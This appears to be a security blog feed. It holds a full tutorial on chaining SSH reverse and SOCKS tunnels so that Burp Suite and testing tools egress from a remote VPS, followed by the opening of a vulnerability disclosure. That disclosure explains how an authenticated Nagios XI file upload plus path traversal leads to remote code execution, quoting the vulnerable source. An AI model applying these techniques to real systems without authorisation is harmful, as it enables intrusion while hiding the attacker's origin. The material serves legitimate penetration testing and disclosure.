<p>When I was starting out in penetration testing, it always confused me how folks would say they worked using a simple CLI only linux machine in a VPS. I understood they did it in order to test from an IP that wasn’t their home IP to avoid getting their home IP blocked by the target they were testing against, but I couldn’t understand how they still used tools like Burp Suite, or a simple web browser. The answer was usually “tunnels”, but that didn’t quite click for me; I kind of need to see a working setup to make sense of it. I just kind of assumed you needed some sort of remote desktop setup.</p>

<p>You don’t need a full remote desktop setup! You can do it all via <code class="language-plaintext highlighter-rouge">ssh</code> through a very small remote linux server!</p>

<p>I plan on covering my usual testing setup for bug bounty using a local testing machine and then a CLI only remote machine, which will have the IP address I want my “attack traffic” to originate from; this is typically some sort of cloud hosted VPS.</p>
<h2 id="tldr-if-you-dont-want-to-read-the-whole-article">TLDR; (if you don’t want to read the whole article)</h2>
<p>Start burp, set Burp <code class="language-plaintext highlighter-rouge">SOCKS proxy</code> to <code class="language-plaintext highlighter-rouge">127.0.0.1:1080</code>.</p>

<p>Set up SSH tunnels:</p>
<h3 id="cli">CLI</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh -R 127.0.0.1:8765:127.0.0.1:8080 -D 127.0.0.1:1080 &lt;username&gt;@&lt;cli-host&gt;
</code></pre></div></div>
<h3 id="config">config</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host &lt;cli-host&gt;
  Hostname &lt;cli-hostname-or-ip&gt;
  RemoteForward 127.0.0.1:8765 127.0.0.1:8080
  DynamicForward 127.0.0.1:1080
  LogLevel FATAL
</code></pre></div></div>
<h2 id="setup">Setup</h2>
<p>I set up a small lab environment with a few Virtual Machines (VM) that will resemble a common setup during a penetration test/bug bounty/etc engagement.
|  Hostname  |  IP Address  |  Description  |
| :—: | :—————: | :——-: |
|<code class="language-plaintext highlighter-rouge">ubuntu-target-vm</code>|<code class="language-plaintext highlighter-rouge">192.168.122.30</code> | This machine should simulate a target you intend to test. <code class="language-plaintext highlighter-rouge">index.php</code> will return your current IP address IE <code class="language-plaintext highlighter-rouge">$_SERVER['REMOTE_ADDR']</code>|
|<code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code>|<code class="language-plaintext highlighter-rouge">192.168.122.151</code> | This machine should simulate a CLI-only linux instance you spin up remotely IE EC2/Droplet/etc from which you want your traffic to originate from.|
|<code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code>|<code class="language-plaintext highlighter-rouge">192.168.122.118</code> | This machine should simulate a local testing machine where you have your GUI tools installed and primarily work from IE your laptop/desktop/etc.|</p>

<p>For <code class="language-plaintext highlighter-rouge">ubuntu-target-vm</code>, this is my testing setup to return the IP address of <code class="language-plaintext highlighter-rouge">ubuntu-target-vm</code> along with the IP address of the request traffic:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ubuntu-target-vm:~/testwebserver# cat index.php 
&lt;?php
echo "Hello from {$_SERVER['SERVER_NAME']}\n";
echo "Your request came from IP Address: {$_SERVER['REMOTE_ADDR']}\n";
?&gt;
root@ubuntu-target-vm:~/testwebserver# php -S 192.168.122.30:80
[Mon Sep 22 15:03:48 2025] PHP 8.3.6 Development Server (http://192.168.122.30:80) started

</code></pre></div></div>
<p>And when I make a <code class="language-plaintext highlighter-rouge">curl</code> request from my CLI only machine <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code>, we can see it returns the correct originating IP address <code class="language-plaintext highlighter-rouge">192.168.122.151</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-cli-attack-vm:~$ curl -sk 192.168.122.30/index.php
Hello from 192.168.122.30
Your request came from IP Address: 192.168.122.151
</code></pre></div></div>
<p>I have also added an ssh key I generated on <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code> and added to <code class="language-plaintext highlighter-rouge">~/.ssh/authorized_keys</code> on <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-local-attack-vm:~$ ssh-keygen -a 100 -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/they/.ssh/id_ed25519): 
...Omitted for brevity
+----[SHA256]-----+
they@ubuntu-local-attack-vm:~$ cat .ssh/id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHvRmIJNJWRAjdnN7NjaE3OVjqgXwIP0+LXJdZJItb33 they@ubuntu-local-attack-vm
</code></pre></div></div>
<p>Then on <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-cli-attack-vm:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHvRmIJNJWRAjdnN7NjaE3OVjqgXwIP0+LXJdZJItb33' &gt;&gt; ~/.ssh/authorized_keys
</code></pre></div></div>
<p>This simply alleviates the need to enter a password for every ssh connection to <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> from <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code>.</p>
<h2 id="objective">Objective</h2>
<p>When I test on this setup, I’m looking to:</p>
<ul>
  <li>Have all my traffic originate from the IP address of my CLI only machine</li>
  <li>Be able to use Burp Suite and a web browser on my local GUI machine <em>and</em> have that traffic origin from the CLI only machine</li>
  <li>Be able to send traffic from CLI tools I run on the CLI only machine <em>through</em> Burp Suite on my local machine, and still originate from the IP of my CLI only machine
    <h2 id="walkthrough">Walkthrough</h2>
    <p>All of this work will be done through a single SSH connection, and we will leverage two tunnels inside of that connection to transport data from <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> to <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code>, and then from <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code> back to <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> and onto the target <code class="language-plaintext highlighter-rouge">ubuntu-target-vm</code>.</p>
    <h3 id="layout">Layout</h3>
    <p>Establish an SSH connection to <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> from <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code> and set up the following two tunnels:</p>
    <ol>
      <li>A reverse port forward</li>
    </ol>
    <ul>
      <li>from port <code class="language-plaintext highlighter-rouge">8765</code> on the <code class="language-plaintext highlighter-rouge">127.0.0.1</code>/<code class="language-plaintext highlighter-rouge">localhost</code> interface on <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> (I’m using port <code class="language-plaintext highlighter-rouge">8765</code> here to remove ambiguity, but I typically use <code class="language-plaintext highlighter-rouge">8080</code> on both sides of the tunnel in practice)</li>
      <li>to port <code class="language-plaintext highlighter-rouge">8080</code> on the <code class="language-plaintext highlighter-rouge">127.0.0.1</code>/<code class="language-plaintext highlighter-rouge">localhost</code> interface on <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code>
        <ol>
          <li>A dynamic forward (AKA SOCKS [<a href="https://en.wikipedia.org/wiki/SOCKS">1</a>] proxy)</li>
        </ol>
      </li>
      <li>from port <code class="language-plaintext highlighter-rouge">1080</code> on <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code></li>
      <li>to <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> (this doesn’t forward to a specific port, instead it sends the traffic on to it’s intended destination from <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code>)</li>
    </ul>
  </li>
</ul>

<p>There are three ways you can accomplish each of these:</p>
<ol>
  <li>Command line options <code class="language-plaintext highlighter-rouge">-R</code> [<a href="https://man.openbsd.org/ssh#R~5">2</a>] and <code class="language-plaintext highlighter-rouge">-D</code> [<a href="https://man.openbsd.org/ssh#D">3</a>]</li>
  <li>Via the <code class="language-plaintext highlighter-rouge">~/.ssh/config</code> file [<a href="https://man.openbsd.org/ssh_config">4</a>]</li>
  <li>Via the <code class="language-plaintext highlighter-rouge">~C</code> escape sequence [<a href="https://man.openbsd.org/ssh#_C">5</a>]
Ultimately, we will end up with a setup like the following diagram illustrates:</li>
</ol>

<figure class="image">
  <img src="/assets/images/ssh-tunnel-diagram.png" width="60%" />
</figure>

<h3 id="reverse-port-forward">Reverse Port Forward</h3>
<p>This tunnel will open a port (<code class="language-plaintext highlighter-rouge">8765</code>) on the <em>remote</em> machine, <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code>, on the specified interface and then forward all packets sent to that port through the SSH connection to the specified port (<code class="language-plaintext highlighter-rouge">8080</code>) on our local machine <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code>. The objective of this tunnel is to be able to run commands on the remote machine and forward the traffic through Burp Suite if we would like to.</p>
<h4 id="cli-reverse-port-forward">CLI Reverse Port Forward</h4>
<p>The example SSH command to do this alone would be:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh -R 127.0.0.1:8765:127.0.0.1:8080 they@192.168.122.151
</code></pre></div></div>
<p>And if we run that command and then execute <code class="language-plaintext highlighter-rouge">ss -tulpn</code>, we can see port <code class="language-plaintext highlighter-rouge">8765</code> open:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-local-attack-vm:~$ ssh -R 127.0.0.1:8765:127.0.0.1:8080 they@192.168.122.151
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-83-generic x86_64)
...Omitted...
they@ubuntu-cli-attack-vm:~$ ss -tulpn
Netid   State    Recv-Q   Send-Q              Local Address:Port     Peer Address:Port   Process   
udp     UNCONN   0        0                      127.0.0.54:53            0.0.0.0:*                
udp     UNCONN   0        0                   127.0.0.53%lo:53            0.0.0.0:*                
udp     UNCONN   0        0          192.168.122.151%enp1s0:68            0.0.0.0:*                
tcp     LISTEN   0        128                     127.0.0.1:8765          0.0.0.0:*                
tcp     LISTEN   0        4096                      0.0.0.0:22            0.0.0.0:*                
tcp     LISTEN   0        4096                127.0.0.53%lo:53            0.0.0.0:*                
tcp     LISTEN   0        4096                   127.0.0.54:53            0.0.0.0:*                
tcp     LISTEN   0        4096                         [::]:22               [::]:*
</code></pre></div></div>
<h4 id="config-reverse-port-forward">config Reverse Port Forward</h4>
<p>Since you may not want to have to add this option to <code class="language-plaintext highlighter-rouge">ssh</code> every time you connect to the machine, you can have this tunnel automatically established using the <code class="language-plaintext highlighter-rouge">~/.ssh/config</code> file by adding the following option to your local <code class="language-plaintext highlighter-rouge">~/.ssh/config</code> file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host ubuntu-cli-attack-vm 192.168.122.151
  Hostname 192.168.122.151
  RemoteForward 127.0.0.1:8765 127.0.0.1:8080
</code></pre></div></div>
<h4 id="escape-sequence-reverse-port-forward">Escape Sequence Reverse Port Forward</h4>
<p>Finally, using the <code class="language-plaintext highlighter-rouge">~C</code> escape sequence, You can use <code class="language-plaintext highlighter-rouge">R 127.0.0.1:8765:127.0.0.1:8080</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh -o EnableEscapeCommandline=yes they@192.168.122.151
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-83-generic x86_64)
...Omitted...
See "man sudo_root" for details.

they@ubuntu-cli-attack-vm:~$ ss -tulpn
Netid   State    Recv-Q   Send-Q              Local Address:Port     Peer Address:Port   Process   
udp     UNCONN   0        0                      127.0.0.54:53            0.0.0.0:*                
udp     UNCONN   0        0                   127.0.0.53%lo:53            0.0.0.0:*                
udp     UNCONN   0        0          192.168.122.151%enp1s0:68            0.0.0.0:*                
tcp     LISTEN   0        4096                      0.0.0.0:22            0.0.0.0:*                
tcp     LISTEN   0        4096                127.0.0.53%lo:53            0.0.0.0:*                
tcp     LISTEN   0        4096                   127.0.0.54:53            0.0.0.0:*                
tcp     LISTEN   0        4096                         [::]:22               [::]:*                
they@ubuntu-cli-attack-vm:~$ 
ssh&gt; R 127.0.0.1:8765:127.0.0.1:8080
Forwarding port.

they@ubuntu-cli-attack-vm:~$ ss -tulpn
Netid   State    Recv-Q   Send-Q              Local Address:Port     Peer Address:Port   Process   
udp     UNCONN   0        0                      127.0.0.54:53            0.0.0.0:*                
udp     UNCONN   0        0                   127.0.0.53%lo:53            0.0.0.0:*                
udp     UNCONN   0        0          192.168.122.151%enp1s0:68            0.0.0.0:*                
tcp     LISTEN   0        128                     127.0.0.1:8765          0.0.0.0:*                
tcp     LISTEN   0        4096                      0.0.0.0:22            0.0.0.0:*                
tcp     LISTEN   0        4096                127.0.0.53%lo:53            0.0.0.0:*                
tcp     LISTEN   0        4096                   127.0.0.54:53            0.0.0.0:*                
tcp     LISTEN   0        4096                         [::]:22               [::]:*                
</code></pre></div></div>
<p>You need a completely clear command line, so <code class="language-plaintext highlighter-rouge">Ctrl+c</code> or hit enter with an empty command line to clear the input buffer, then type <code class="language-plaintext highlighter-rouge">~C</code> note the capital <code class="language-plaintext highlighter-rouge">C</code>.
You may also need to enable the command line with <code class="language-plaintext highlighter-rouge">-o EnableEscapeCommandline=yes</code>. This can also be added to the <code class="language-plaintext highlighter-rouge">~/.ssh/config</code> file so it is always enabled.</p>

<p>If you ever forget the syntax, type a <code class="language-plaintext highlighter-rouge">?</code> in the <code class="language-plaintext highlighter-rouge">ssh&gt;</code> prompt to get a list of options:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-cli-attack-vm:~$ 
ssh&gt; ?
Commands:
      -L[bind_address:]port:host:hostport    Request local forward
      -R[bind_address:]port:host:hostport    Request remote forward
      -D[bind_address:]port                  Request dynamic forward
      -KL[bind_address:]port                 Cancel local forward
      -KR[bind_address:]port                 Cancel remote forward
      -KD[bind_address:]port                 Cancel dynamic forward
</code></pre></div></div>
<h3 id="dynamic-forward">Dynamic Forward</h3>
<p>This tunnel will open a port (<code class="language-plaintext highlighter-rouge">1080</code>) on our local machine <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code> and then forward any SOCKS traffic sent to that port through the SSH tunnel and egress <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> to the target.</p>
<h4 id="cli-dynamic-forward">CLI Dynamic Forward</h4>
<p>The command to establish a Dynamic port forward would be:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-local-attack-vm:~$ ssh -D 127.0.0.1:1080 they@192.168.122.151
</code></pre></div></div>
<p>Once the connection is established, switch to a separate terminal to observe the port is open</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-local-attack-vm:~$ ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port    Peer Address:Port Process                         
udp   UNCONN 0      0            0.0.0.0:52037        0.0.0.0:*                                    
udp   UNCONN 0      0            0.0.0.0:5353         0.0.0.0:*                                    
udp   UNCONN 0      0         127.0.0.54:53           0.0.0.0:*                                    
udp   UNCONN 0      0      127.0.0.53%lo:53           0.0.0.0:*                                    
udp   UNCONN 0      0               [::]:5353            [::]:*                                    
udp   UNCONN 0      0               [::]:53257           [::]:*                                    
tcp   LISTEN 0      4096   127.0.0.53%lo:53           0.0.0.0:*                                    
tcp   LISTEN 0      128        127.0.0.1:1080         0.0.0.0:*     users:(("ssh",pid=10855,fd=4)) 
tcp   LISTEN 0      4096      127.0.0.54:53           0.0.0.0:*                                    
tcp   LISTEN 0      4096       127.0.0.1:631          0.0.0.0:*                                    
tcp   LISTEN 0      4096           [::1]:631             [::]:*
</code></pre></div></div>
<p>And then leverage a command such as <code class="language-plaintext highlighter-rouge">curl</code> to confirm traffic is egressing <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-local-attack-vm:~$ curl -s 192.168.122.30/index.php
Hello from 192.168.122.30
Your request came from IP Address: 192.168.122.118
they@ubuntu-local-attack-vm:~$ curl -s 192.168.122.30/index.php --proxy socks5://127.0.0.1:1080
Hello from 192.168.122.30
Your request came from IP Address: 192.168.122.151
</code></pre></div></div>
<p>Notice the IP address changed once the <code class="language-plaintext highlighter-rouge">--proxy</code> option is added</p>
<h4 id="config-dynamic-port-forward">config Dynamic Port Forward</h4>
<p>The <code class="language-plaintext highlighter-rouge">DynamicForward</code> option inside the <code class="language-plaintext highlighter-rouge">~/.ssh/config</code> file to establish a Dynamic Port Forward automatically upon establishing an SSH connection to the host:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host ubuntu-cli-attack-vm 192.168.122.151
  Hostname 192.168.122.151
  DynamicForward 127.0.0.1:1080
</code></pre></div></div>
<h4 id="escape-sequence-dynamic-port-forward">Escape Sequence Dynamic Port Forward</h4>
<p>Finally, using the <code class="language-plaintext highlighter-rouge">~C</code> escape sequence, You can use <code class="language-plaintext highlighter-rouge">D 127.0.0.1:1080</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-local-attack-vm:~$ ssh -o EnableEscapeCommandline=yes they@192.168.122.151
...Omitted...
they@ubuntu-cli-attack-vm:~$ 
ssh&gt; D 127.0.0.1:1080
Forwarding port.
</code></pre></div></div>
<h3 id="combining-both-tunnels">Combining Both Tunnels</h3>
<h4 id="cli-both-tunnels">CLI Both Tunnels</h4>
<p>The <code class="language-plaintext highlighter-rouge">ssh</code> command to establish both tunnels would be:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh -R 127.0.0.1:8765:127.0.0.1:8080 -D 127.0.0.1:1080 they@192.168.122.151
</code></pre></div></div>
<h4 id="config-file-both-tunnels">config File Both Tunnels</h4>
<p>I recommend using <code class="language-plaintext highlighter-rouge">~/.ssh/config</code> to set both of these up, along with silencing some of the error logging messages via setting <code class="language-plaintext highlighter-rouge">LogLevel</code> [<a href="https://man.openbsd.org/ssh_config#LogLevel">6</a>] to <code class="language-plaintext highlighter-rouge">FATAL</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host ubuntu-cli-attack-vm 192.168.122.151
  Hostname 192.168.122.151
  RemoteForward 127.0.0.1:8765 127.0.0.1:8080
  DynamicForward 127.0.0.1:1080
  LogLevel FATAL
</code></pre></div></div>
<h2 id="burp-suite-setup">Burp Suite setup</h2>
<p>For the purposes of this walkthrough, we will presume Burp Suite is listening on the default port <code class="language-plaintext highlighter-rouge">127.0.0.1:8080</code>.</p>

<p>There is only one setting you need to configure after setting up your SSH tunnels using the above guide, and that is configuring Burp Suite to send outgoing traffic to a <code class="language-plaintext highlighter-rouge">SOCKS proxy</code>. After opening Burp, navigate to <code class="language-plaintext highlighter-rouge">Proxy</code> -&gt; <code class="language-plaintext highlighter-rouge">Proxy settings</code> -&gt; <code class="language-plaintext highlighter-rouge">Network</code> -&gt; <code class="language-plaintext highlighter-rouge">Connections</code> -&gt; <code class="language-plaintext highlighter-rouge">SOCKS proxy</code> and set the following:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">SOCKS proxy host:</code> -&gt; <code class="language-plaintext highlighter-rouge">127.0.0.1</code></li>
  <li><code class="language-plaintext highlighter-rouge">SOCKS proxy port:</code> -&gt; <code class="language-plaintext highlighter-rouge">1080</code> (or whichever port you choose via the Dynamic Port Forward option in <code class="language-plaintext highlighter-rouge">ssh</code>)
Then check the <code class="language-plaintext highlighter-rouge">Use SOCKS proxy</code> box.</li>
</ul>
<figure class="image">
  <img src="/assets/images/burpsuite-socks-proxy.png" width="60%" />
</figure>

<h2 id="result">Result</h2>
<p>I choose to set up the <code class="language-plaintext highlighter-rouge">~/.ssh/config</code> file, but no matter the method, you end up with a setup where you can easily run commands from your remote attack machine <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code>, proxy them through Burp using the newly created listener on <code class="language-plaintext highlighter-rouge">127.0.0.1:8765</code>, view the request in Burp proxy, and still have the request egress from <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> as Burp forwards all traffic through the SOCKS proxy created on <code class="language-plaintext highlighter-rouge">127.0.0.1:1080</code> on <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-local-attack-vm:~$ cat .ssh/config 
Host ubuntu-cli-attack-vm 192.168.122.151
  Hostname 192.168.122.151
  RemoteForward 127.0.0.1:8765 127.0.0.1:8080
  DynamicForward 127.0.0.1:1080
  LogLevel FATAL
they@ubuntu-local-attack-vm:~$ ssh they@192.168.122.151
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-83-generic x86_64)
...Omitted...
they@ubuntu-cli-attack-vm:~$ curl -s 192.168.122.30/index.php --proxy http://127.0.0.1:8765
Hello from 192.168.122.30
Your request came from IP Address: 192.168.122.151
</code></pre></div></div>
<p>And we can observe the request in Burp:</p>

<figure class="image">
  <img src="/assets/images/burp-proxy-working.png" width="60%" />
</figure>

<p>as well as the response showing the traffic is still arriving at the target <code class="language-plaintext highlighter-rouge">ubuntu-target-vm</code> from <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> IP <code class="language-plaintext highlighter-rouge">192.168.122.151</code>. We can now use Burp via browser, or run any tools (<a href="https://github.com/projectdiscovery/httpx">httpx</a>, <a href="https://github.com/projectdiscovery/nuclei">nuclei</a>, <a href="https://github.com/sqlmapproject/sqlmap">sqlmap</a>, <a href="https://github.com/rapid7/metasploit-framework">metasploit</a>, etc) on our <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code> and ensure traffic goes through Burp and originates from <code class="language-plaintext highlighter-rouge">ubuntu-cli-attack-vm</code>.</p>

<p>Bonus, you can also freely use the SOCKS proxy on <code class="language-plaintext highlighter-rouge">ubuntu-local-attack-vm</code> with any tools that support SOCKS. An example from above:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>they@ubuntu-local-attack-vm:~$ curl -s 192.168.122.30/index.php
Hello from 192.168.122.30
Your request came from IP Address: 192.168.122.118
they@ubuntu-local-attack-vm:~$ curl -s 192.168.122.30/index.php --proxy socks5://127.0.0.1:1080
Hello from 192.168.122.30
Your request came from IP Address: 192.168.122.151
</code></pre></div></div>
<p>So any tools installed locally can be used leveraging their respective proxy options. A bonus piece of information: if you try and access a target by hostname vs IP, use the <code class="language-plaintext highlighter-rouge">socks5h://</code> option.</p>
<h2 id="references">References</h2>
<ol>
  <li>SOCKS proxy wiki: <code class="language-plaintext highlighter-rouge">https://en.wikipedia.org/wiki/SOCKS</code></li>
  <li><code class="language-plaintext highlighter-rouge">ssh -R</code> manpage: <code class="language-plaintext highlighter-rouge">https://man.openbsd.org/ssh#R~5</code></li>
  <li><code class="language-plaintext highlighter-rouge">ssh -D</code> manpage: <code class="language-plaintext highlighter-rouge">https://man.openbsd.org/ssh#D</code></li>
  <li><code class="language-plaintext highlighter-rouge">ssh_config</code> manpage: <code class="language-plaintext highlighter-rouge">https://man.openbsd.org/ssh_config</code></li>
  <li><code class="language-plaintext highlighter-rouge">ssh</code> escape sequence manpage: <code class="language-plaintext highlighter-rouge">https://man.openbsd.org/ssh#_C</code></li>
</ol>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[Overview When I was starting out in penetration testing, it always confused me how folks would say they worked using a simple CLI only linux machine in a VPS. I understood they did it in order to test from an IP that wasn’t their home IP to avoid getting their home IP blocked by the target they were testing against, but I couldn’t understand how they still used tools like Burp Suite, or a simple web browser. The answer was usually “tunnels”, but that didn’t quite click for me; I kind of need to see a working setup to make sense of it. I just kind of assumed you needed some sort of remote desktop setup.]]></summary></entry><entry><title type="html">CVE-2024-13986 - Nagios XI Authenticated Arbitrary File Upload + Path Traversal leads to Remote Code Execution</title><link href="https://theyhack.me/Nagios-XI-Authenticated-RCE/" rel="alternate" type="text/html" title="CVE-2024-13986 - Nagios XI Authenticated Arbitrary File Upload + Path Traversal leads to Remote Code Execution" /><published>2025-01-07T00:00:00+00:00</published><updated>2025-01-07T00:00:00+00:00</updated><id>https://theyhack.me/Nagios-XI-Authenticated-RCE</id><content type="html" xml:base="https://theyhack.me/Nagios-XI-Authenticated-RCE/"><![CDATA[<h2 id="overview">Overview</h2>
<p>I recently noticed quite a few folks recently looked at Nagios XI. Some even pulled the obfuscated stuff apart which I thought was really awesome! I still need to wrap my head around that and actually try it sometime. For these vulns, I stuck to the plainly visible stuff along with some help from one of my favorite tools <a href="https://github.com/DominicBreuker/pspy">pspy</a>.</p>

<p>This RCE is a combination of, IMO, two vulnerabilities:</p>
<ul>
  <li>An arbitrary file upload (basically zero impact by itself unless you want to dig into SNMP)</li>
  <li>A path traversal</li>
</ul>

<p>I discovered the ability to upload arbitrary files through some functionality in the application for uploading mibs configurations. I could control all the file contents as well as the extension, but I could not traverse out of the location inside <code class="language-plaintext highlighter-rouge">/usr/share/snmp/mibs/</code>. So, that alone was not going to get me RCE.</p>

<p>Later on while testing some functionality in the snapshots feature with <code class="language-plaintext highlighter-rouge">pspy</code> running, I discovered one of the functions ran some shell commands to move <code class="language-plaintext highlighter-rouge">mv</code> a file and I could control the file extension, the originally uploaded file name combined with a traversal sequence, and then the final name along with a traversal sequence. This let me essentially move the file from the originally uploaded location <code class="language-plaintext highlighter-rouge">/usr/share/snmp/mibs/</code> to a web accessible location <code class="language-plaintext highlighter-rouge">/usr/local/nagiosxi/html/tools/</code>. Combine that with a PHP file and it results in authenticated RCE as the <code class="language-plaintext highlighter-rouge">www-data</code> user.</p>

<h2 id="technical-details">Technical Details</h2>
<h3 id="arbitrary-file-upload">Arbitrary File Upload</h3>

<p>Inside <code class="language-plaintext highlighter-rouge">/admin/mibs.php</code> the <code class="language-plaintext highlighter-rouge">route_request()</code> function is responsible for mapping functionality based on the <code class="language-plaintext highlighter-rouge">mode</code> HTTP parameter:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
function route_request()
{
    global $request;

    $mode = '';
    if (isset($request['mode'])) {
        $mode = $request['mode'];    
    }

    switch ($mode) {
        case 'download':
            do_download();
            break;
        case 'upload':
            $mode = MIB_UPLOAD_DO_NOTHING;

            $process = false;
            if (isset($request["processMibCheck"])) {
                $process = $request["processMibCheck"];
            }

            if ($process) {
                $mode = get_processing_mode();
            }

            do_upload($mode);
            break;
        case 'delete':
            do_delete();
</code></pre></div></div>

<p>If the <code class="language-plaintext highlighter-rouge">mode</code> HTTP reuqest variable is set to <code class="language-plaintext highlighter-rouge">upload</code>, code flow enters the <code class="language-plaintext highlighter-rouge">case</code> for <code class="language-plaintext highlighter-rouge">upload</code>. Next a check is done for the <code class="language-plaintext highlighter-rouge">processMibCheck</code> variable. If this variable is not set, the <code class="language-plaintext highlighter-rouge">do_upload()</code> function is invoked. This function is on line 1091 in <code class="language-plaintext highlighter-rouge">/admin/mibs.php</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function do_upload($mode) {

...Omitted for brevity...

    $_FILES['uploadedfile'] = rearrange_multiple_upload($_FILES['uploadedfile']);

    $error = false;
    foreach ($_FILES['uploadedfile'] as $file) {    

        $target_path = install_mib($file);

        mibs_add_entry($target_path);

        if ($mode == MIB_UPLOAD_DO_NOTHING) {
            continue;
        }
</code></pre></div></div>

<p>In this function, the uploaded files <code class="language-plaintext highlighter-rouge">$_FILES</code> from the <code class="language-plaintext highlighter-rouge">multipart/form-data</code> upload are iterated through as <code class="language-plaintext highlighter-rouge">$file</code> and the function <code class="language-plaintext highlighter-rouge">install_mib()</code> is called with the file object passed in. This function is defined on line 1185 and accepts a file object <code class="language-plaintext highlighter-rouge">$file_object</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function install_mib($file_object) {

    $target_path = get_mib_dir();
    $target_path .= "/";
    $target_path .= basename(str_replace(array(" ", "`", "$", "(", ")"), "_", $file_object['name']));

    $error = $file_object['error'];
    if ($error == UPLOAD_ERR_OK) {
        $test_write = move_uploaded_file($file_object['tmp_name'], $target_path);
...Omitted for brevity...
</code></pre></div></div>
<p>This function does some santiization and resolves the file path to protect against directory traversal attacks. However, any extension and any file type is allowed to be uploaded, and the files ultimately are saved in <code class="language-plaintext highlighter-rouge">/usr/share/snmp/mibs</code> as the name passed via the <code class="language-plaintext highlighter-rouge">uploadedfile</code> <code class="language-plaintext highlighter-rouge">filename</code> parameter in the form upload.</p>

<p>Alone, there is not much security impact from a web perspective as this is not a web accessible location. I did not investigate anything from an SNMP standpoint.</p>

<h3 id="path-traversal-in-shell-command-used-for-renaming-snapshot-files">Path Traversal in shell command used for Renaming Snapshot Files</h3>

<p>After identifying a vector to upload PHP files, a way to execute them via the web interface was required for impact. Before going too far into this path, we need to confirm there is a writable directory that is web accessible.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls -lah /usr/local/nagiosxi/
total 40K
drwxr-xr-x 10 root     nagios 4.0K Oct 27 14:30 .
drwxr-xr-x 15 root     root   4.0K Oct 27 14:37 ..
drwxr-xr-x  2 root     nagios 4.0K Oct 27 14:30 cron
drwxr-xr-x  4 root     nagios 4.0K Oct 27 14:30 etc
drwxr-xr-x 21 root     nagios 4.0K Nov  3 14:25 html
drwxr-xr-x  3 root     nagios 4.0K Oct 27 14:30 nom
drwxr-xr-x  6 root     nagios 4.0K Oct 27 14:30 scripts
